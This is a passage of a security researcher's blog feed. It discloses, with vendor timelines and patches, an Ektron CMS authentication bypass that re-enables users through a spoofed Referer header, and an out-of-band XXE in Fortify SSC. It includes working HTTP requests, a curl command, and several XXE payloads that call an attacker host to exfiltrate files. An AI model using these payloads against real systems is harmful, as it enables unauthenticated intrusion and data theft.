1</pre><pre><strong>Then start attack…</strong></pre><pre>Have fun!</pre><p>Final <strong>IDOR </strong>extraction (ldap/Active Directory/local users)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*haz_6kt2XAHCrAuLM3iLBA.png" /><figcaption>ldap/AD/local users extraction using Burp Suite Professional</figcaption></figure><p><strong>Timeline:</strong></p><p>2018–05–24: Discovered<br>2018–05–25: Retest PRO environment<br>2018–05–31: Vendor notification, two issues found <br>2018–05–31: Vendor feedback received <br>2018–06–01: Internal communication<br>2018–06–01: Vendor feedback, two issues are confirmed<br>2018–06–05: Vendor notification, new issue found<br>2018–06–06: Vendor feedback, evaluating High submission<br>2018–06–08: Vendor feedback, High issue is confirmed<br>2018–06–19: Researcher, reminder sent<br>2018–06–22: Vendor feedback, summary of CVEs handled as official way<br>2018–06–26: Vendor feedback, official Hotfix for High issue available to test<br>2018–06–29: Researcher feedback<br>2018–07–02: Researcher feedback<br>2018–07–04: Researcher feedback, Hotfix tested on QA environment<br>2018–07–05: Vendor feedback, fixes scheduled Aug/Sep 2018<br>2018–08–02: Reminder to vendor, feedback received OK!<br>2018–09–26: Reminder to vendor, feedback received OK!<br>2018–09–26: Fixes received from the vendor<br>2018–10–02: Internal QA environment failed, re-building researcher ‘s ecosystem<br>2018–10–11: Internal QA environment failed, re-building researcher ‘s ecosystem<br>2018–10–11: Feedback from the vendor, technical details provided to the researcher<br>2018–10–16: Fixes now tested on QA environment<br>2018–11–08: Reminder received from the vendor, feedback provided by researcher<br>2018–11–09: Re-rest fixes on QA environment<br>2018–11–15: Re-rest fixes on QA environment now with SSC 18.20 version deployed<br>2018–11–21: Researcher feedback<br>2018–11–23: Fixes working well/confirmed by researcher<br>2018–11–23: Vendor feedback, final details to disclosure the CVE and official fixes available for customers.<br>2018–11–26: Vendor feedback, CVE, and official fixes to be disclosure<br>2018–11–26: Agreements with the vendor to publish the CVE/Advisory. <br>2018–12–12: Public report</p><p>Discovered by:<br>Alex Hernandez aka alt3kx:<br>================<br>Please visit <a href="https://github.com/alt3kx">https://github.com/alt3kx</a> for more information.</p><p>My current exploit list @exploit-db: <br><a href="https://www.exploit-db.com/author/?a=1074">https://www.exploit-db.com/author/?a=1074</a> <br><a href="https://www.exploit-db.com/author/?a=9576">https://www.exploit-db.com/author/?a=9576</a></p><p>Mitigations<br>=======</p><p>Provided by the vendor here:</p><p>Document ID: KM03298201<br><a href="https://softwaresupport.softwaregrp.com/doc/KM03298201">https://softwaresupport.softwaregrp.com/doc/KM03298201</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c7916ca98bc" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Ektron Content Management System (CMS) 9.20 SP2, remote re-enabling users (CVE-2018–12596)]]></title>
            <link>https://medium.com/@alt3kx/ektron-content-management-system-cms-9-20-sp2-remote-re-enabling-users-cve-2018-12596-bdf1e3a05158?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdf1e3a05158</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[0day]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Mon, 08 Oct 2018 20:30:30 GMT</pubDate>
            <atom:updated>2018-10-08T20:30:30.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys, just I continue to disclosure my CVEs (0days) for infosec community. I found interesting “bypasses” on<strong> Ektron CMS 9.20 SP2 version</strong> that allows some remote attackers to call aspx pages, even if a page<br>is located under the <strong>/WorkArea/</strong> path normally for admins.</p><p>Vulnerability</p><p>Ektron CMS 9.20 SP2 allows remote attackers to call aspx pages via the “<strong>activateuser.aspx</strong>” page, even if a page is located under the <strong>/WorkArea/</strong> path, which is forbidden (normally available exclusively for local admins :D .</p><p>Ektron version tested details :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43JtLzQbl_Pg9DRR8PeNLA.png" /><figcaption>Ektron CMS 9.20 Version SP2 displayed</figcaption></figure><p>Browsing the default robots.txt file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbscNlVVWB8kxxkWhgUyLw.png" /><figcaption>Ektron CMS 9.20 Version SP2 (default robots.txt located)</figcaption></figure><p>Trying to get access at<strong> “/WorkArea/activateuser.aspx”</strong> path, response (403: Forbidden)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsgJVT-OYxmqhwxYIsycIA.png" /><figcaption>ktron CMS 9.20 Version SP2 (WorkArea path 403 Forbidden response)</figcaption></figure><p>Proof of Concept Exploit:</p><pre>Pre-requisites:</pre><pre>- curl command deployed (Windows or Linux) <br>- Burpsuite Free/Pro deployed or any other WebProxy to catch/send GET request</pre><pre>Step (1): Launch the BurpSuite with default paramenter then request the follwing URL:</pre><pre>Target: <a href="https://ektronserver.com/WorkArea/activateuser.aspx">https://ektronserver.com/WorkArea/activateuser.aspx</a></pre><pre>Normally you will see a 403 Forbidden: Access denied.<br> <br>Step (2): Into BurpSuite Free/Pro add the following extra Header Referer:</pre><pre>&quot;Referer: ALEX;&quot;</pre><p>Step (3): The offending <strong>GET</strong> request is:</p><pre>GET /WorkArea/activateuser.aspx HTTP/1.1<br>Host: ektronserver.com<br>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0<br>Referer: ALEX;<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close</pre><p><strong>Note</strong>: As remark that is not necessary to be used the credentials or any authentication, the <strong>GET</strong> method above was extracted using Burp Suite.</p><p>Step (4): Test your <strong>GET</strong> request using <strong>curl</strong> command and B<strong>urpsuite</strong> as following:</p><pre># curl -i -s -k -XGET &quot;<a href="https://ektronserver.com/WorkArea/activateuser.aspx">https://ektronserver.com/WorkArea/activateuser.aspx</a>&quot;<br>-H &quot;Host: ektronserver.com&quot;<br>-H &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0&quot;<br>-H &quot;Referer: ALEX;&quot;<br>-H &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;<br>-H &quot;Accept-Language: en-US,en;q=0.5&#39; -H $&#39;Accept-Encoding: gzip, deflate&quot;<br>-H &quot;Connection: close&quot;<br>--proxy <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a></pre><p>You should see now the following response 200 OK!:</p><pre>HTTP/1.0 200 Connection established</pre><pre>HTTP/1.1 200 OK<br>Cache-Control: private<br>Content-Type: text/html; charset=utf-8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BH4Tb70TTgYisGkJlgGhpw.png" /><figcaption>BurpSuite payload with header“Referer: ALEX“ with 200 OK response</figcaption></figure><p>Now you got access to enable users, just send the repeat request into the browser using burpsuite as following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dD8kR3djqFAu0200mjDqMA.png" /><figcaption>BurpSuite replaying the request into the Browser</figcaption></figure><p>Have fun!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOSIB61mp_KU3oPeMAf3Rw.png" /><figcaption>Response over the Browser to activate any user registered into Ektron CMS SP2</figcaption></figure><p><strong>Timeline:</strong></p><p>2018–06–08: Discovered<br>2018–06–11: Retest staging environment<br>2018–06–12: Restes live environment<br>2018–06–19: Internal communication<br>2018–06–21: Vendor notification <br>2018–06–21: Vendor feedback<br>2018–06–29: Vendor feedback product will be patched <br>2018–06–29: Patch available<br>2018–06–29: Agrements with the vendor to publish the CVE/Advisory.<br>2018–07–30: Internal communication<br>2018–09–15: Patches tested on LAB environment.<br>2018–10–08: Public report</p><p>Discovered by:<br>Alex Hernandez aka alt3kx:<br>================<br>Please visit <a href="https://github.com/alt3kx">https://github.com/alt3kx</a> for more information.</p><p>My current exploit list <a href="http://twitter.com/exploit">@exploit</a>-db: <a href="https://www.exploit-db.com/author/?a=1074">https://www.exploit-db.com/author/?a=1074</a></p><p>Mitigations<br>=======</p><p>Provided by the vendor here:</p><p><strong>PATCH ID: EKTR-508: Security enhancement for re-enabling a user</strong><br><a href="https://support.episerver.com/hc/en-us/articles/115002828112-9-2-SP2-Site-Update">https://support.episerver.com/hc/en-us/articles/115002828112-9-2-SP2-Site-Update</a></p><p>Any of the below should fix <strong>CVE-2018–12596</strong></p><p>9.3(main release)<br>9.2 SP2 Site CU 22<br>9.1 SP3 Site CU 45<br>9.0 SP3 Site CU 31</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdf1e3a05158" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Out-of-Band XML External Entity (OOB-XXE) exploitation over Fortify Software Security Center (SSC)…]]></title>
            <link>https://medium.com/@alt3kx/out-of-band-xml-external-entity-oob-xxe-exploitation-over-fortify-software-security-center-ssc-1d5c7169b561?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d5c7169b561</guid>
            <category><![CDATA[0day]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bugsbounty]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Thu, 12 Jul 2018 18:45:56 GMT</pubDate>
            <atom:updated>2018-07-12T18:45:56.686Z</atom:updated>
            <content:encoded><![CDATA[<h3>Out-of-Band XML External Entity (OOB-XXE) exploitation over Fortify Software Security Center (SSC) 17.10, 17.20 &amp; 18.10 (0day <strong>CVE-2018–12463</strong>)</h3><p>Hello ninjas!, last months I come back to do a little research &amp; exploit development (hard work, because I can’t be spent the time on this as I desire) and thinking new vectors for RedTeams/Pentesters (lateral movements) etc on software products, so I found interesting security issues over Fortify product, What is Fortify? is a secure product to perform source code audit/analysis based on “rulepacks” that could be integrated with other security tools as WebInspect (same vendor) or Jenkins, etc, product details here: <a href="https://marketplace.microfocus.com/fortify">https://marketplace.microfocus.com/fortify</a></p><p><strong>Vulnerability</strong></p><p>XML external entity (XXE) vulnerability in <strong>/ssc/fm-ws/services</strong> in Fortify Software Security Center (SSC) allows remote unauthenticated users to read arbitrary files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.</p><p>Fortify version tested details :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrCg5GR5m4yZDwuaHG_Qjw.png" /><figcaption>Fortify Software Security Center (SSC) Version 17.10.0158</figcaption></figure><p>Proof of Concept exploit:</p><p>The offending <strong>POST </strong>method is:</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8; text/html;<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1765</pre><pre><strong>&lt;?xml version=’1.0&#39; encoding=’UTF-8&#39;?&gt;<br>&lt;!Your payload here “</strong><a href="http://intuder.ip.here/alex1.dtd"><strong>http://intuder.IP.here/alex1.dtd</strong></a><strong>&quot;&gt;</strong></pre><pre>[../snip]</pre><p><strong><em>Note</em></strong><em>: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the exact API path and data sending to the server.</em></p><p>RedTeam Vector (1): Transitional payload</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8; text/html;<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1789</pre><pre><strong>&lt;?xml version=”1.0&quot; encoding=”utf-8&quot;?&gt;<br>&lt;!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN”<br>“</strong><a href="http://10.5.25.48/alex1.dtd"><strong>http://intruder.ip.here/alex1.dtd</strong></a><strong>&quot;&gt;</strong></pre><pre>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aU7W9BzSWFElUAdLUeDi-w.png" /><figcaption>Using “Transitional” payload, connection to HTTP server (intruder) it works!</figcaption></figure><p>RedTeam Vector (2): Classic OOB XXE payload</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1750</pre><pre><strong>&lt;?xml version=’1.0&#39; encoding=’UTF-8&#39;?&gt;<br>&lt;!DOCTYPE data SYSTEM “</strong><a href="http://10.5.25.48/alex3.dtd"><strong>http://</strong></a><a href="http://10.5.25.48/alex1.dtd"><strong>intruder.ip.here</strong></a><a href="http://10.5.25.48/alex3.dtd"><strong>/alex1.dtd</strong></a><strong>&quot;&gt;<br>&lt;data&gt;&amp;send;&lt;/data&gt;</strong></pre><pre>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pujHHrRqKUBmRyKtGBRXQ.png" /><figcaption>Using classic “OOB XXE” payload, connection to HTTP server (intruder) it works!</figcaption></figure><p>RedTeam Vector (3): FTP payload with ruby FTP server emulator</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1769</pre><pre><strong>&lt;?xml version=’1.0&#39; encoding=’UTF-8&#39;?&gt;<br>&lt;!DOCTYPE data SYSTEM “</strong><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>ftp://</strong></a><a href="http://10.5.25.48/alex1.dtd"><strong>intruder.ip.here</strong></a><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>:2121</strong></a><strong>&quot;&gt;</strong></pre><pre>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zpE8OjPlbDRpTAYnxSdu8Q.png" /><figcaption>Using “FTP payload”, connection to FTP server (intruder) emulator, it works!</figcaption></figure><p>RedTeam Vector (4): FTP payloads with FTP python server</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1769</pre><pre><strong>&lt;?xml version=’1.0&#39; encoding=’UTF-8&#39;?&gt;<br>&lt;!DOCTYPE data SYSTEM “</strong><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>ftp://</strong></a><a href="http://10.5.25.48/alex1.dtd"><strong>intruder.ip.here</strong></a><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>:2121</strong></a><strong>&quot;&gt;</strong></pre><pre>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4d6gbr2zXw6eEWb8Rtbq8Q.png" /><figcaption>Using “FTP payload”, connection to FTP python server (intruder) , it works!</figcaption></figure><p>RedTeam Vector (5): FTP payload, server compromised</p><pre><strong>POST /ssc/fm-ws/services HTTP/1.1</strong><br>Accept-Encoding: gzip, deflate<br>SOAPAction: “”<br>Accept: text/xml<br>Content-Type: text/xml; charset=UTF-8<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_121<br>Host: fortifyserver.com<br>Connection: close<br>Content-Length: 1769</pre><pre><strong>&lt;?xml version=’1.0&#39; encoding=’UTF-8&#39;?&gt;<br>&lt;!DOCTYPE data SYSTEM “</strong><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>ftp://anonymous:anonymous@</strong></a><a href="http://10.5.25.48/alex1.dtd"><strong>intruder.ip.here</strong></a><a href="/service/ftp://anonymous:anonymous@10.5.25.48:2121/alex1.txt"><strong>:2121/alex1.txt</strong></a><strong>&quot;&gt;</strong></pre><pre>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*febcpYk0eh7svJHQBISavw.png" /></figure><p><strong>Timeline:</strong></p><p>2018–05–24: Discovered<br>2018–05–25: Retest PRO environment<br>2018–05–31: Vendor notification, two issues found <br>2018–05–31: Vendor feedback received <br>2018–06–01: Internal communication<br>2018–06–01: Vendor feedback, two issues are confirmed<br>2018–06–05: Vendor notification, new issue found<br>2018–06–06: Vendor feedback, evaluating High submission<br>2018–06–08: Vendor feedback, High issue is confirmed<br>2018–06–19: Researcher, reminder sent<br>2018–06–22: Vendor feedback, summary of CVEs handled as official way<br>2018–06–26: Vendor feedback, official Hotfix for High issue available to test<br>2018–06–29: Researcher feedback<br>2018–07–02: Researcher feedback<br>2018–07–04: Researcher feedback, Hotfix tested on QA environment<br>2018–07–05: Vendor feedback<br>2018–07–09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers.<br>2018–07–09: Vendor feedback, CVE and official Hotfix to be disclosure<br>2018–07–12: Agreements with the vendor to publish the CVE/Advisory. <br>2018–07–12: Public report</p><p>Discovered by:<br>Alex Hernandez aka alt3kx:<br>================<br>Please visit <a href="https://github.com/alt3kx">https://github.com/alt3kx</a> for more information.</p><p>My current exploit list <a href="http://twitter.com/exploit">@exploit</a>-db: <a href="https://www.exploit-db.com/author/?a=1074">https://www.exploit-db.com/author/?a=1074</a></p><p>Mitigations<br>=======</p><p>Provided by the vendor here:</p><p>Document ID: KM03201563<br><a href="https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563">https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d5c7169b561" width="1" height="1" alt="">]]></content:encoded>
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